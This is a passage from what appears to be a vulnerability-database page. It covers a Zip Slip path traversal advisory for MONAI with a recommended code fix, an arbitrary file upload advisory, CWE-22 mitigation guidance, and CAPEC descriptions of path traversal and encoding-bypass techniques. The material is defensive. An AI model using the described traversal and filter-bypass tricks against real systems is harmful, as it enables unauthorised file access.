Modern Python versions (3.12+) have some built-in path normalization\n- The `ngc_private` source is less commonly used than other sources\n\n---\n\n## Recommended Fix\n\nReplace the direct `extractall()` call with MONAI\u0027s existing safe extraction:\n\n```diff\n# monai/bundle/scripts.py\n\n+ from monai.apps.utils import _extract_zip\n\ndef _download_from_ngc_private(...):\n # ... existing code ...\n \n extract_path = download_path / f\"{filename}\"\n- with zipfile.ZipFile(zip_path, \"r\") as z:\n- z.extractall(extract_path)\n- logger.info(f\"Writing into directory: {extract_path}.\")\n+ _extract_zip(zip_path, extract_path)\n+ logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\nThis aligns `_download_from_ngc_private()` with the other download functions and ensures consistent security across all download sources.\n\n---\n\n## Resources\n\n- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)\n- [Snyk: Zip Slip Vulnerability](https://security.snyk.io/research/zip-slip-vulnerability)\n- [Python zipfile.extractall() Warning](https://docs.python.org/3/library/zipfile.html#zipfile.ZipFile.extractall)",
"id": "GHSA-9rg3-9pvr-6p27",
"modified": "2026-01-29T18:23:14Z",
"published": "2026-01-06T17:32:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-9rg3-9pvr-6p27"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21851"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/commit/4014c8475626f20f158921ae0cf98ed259ae4d59"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download"
}
GHSA-9RG9-5X45-8R53
Vulnerability from github – Published: 2024-11-15 18:30 – Updated: 2024-12-03 18:31The user avatar upload function in python_book V1.0 has an arbitrary file upload vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-50649"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-15T16:15:36Z",
"severity": "CRITICAL"
},
"details": "The user avatar upload function in python_book V1.0 has an arbitrary file upload vulnerability.",
"id": "GHSA-9rg9-5x45-8r53",
"modified": "2024-12-03T18:31:02Z",
"published": "2024-11-15T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50649"
},
{
"type": "WEB",
"url": "https://github.com/Yllxx03/CVE/blob/main/python_book/FileUpload.md"
},
{
"type": "WEB",
"url": "https://github.com/Yllxx03/CVE/tree/main/CVE-2024-50649"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.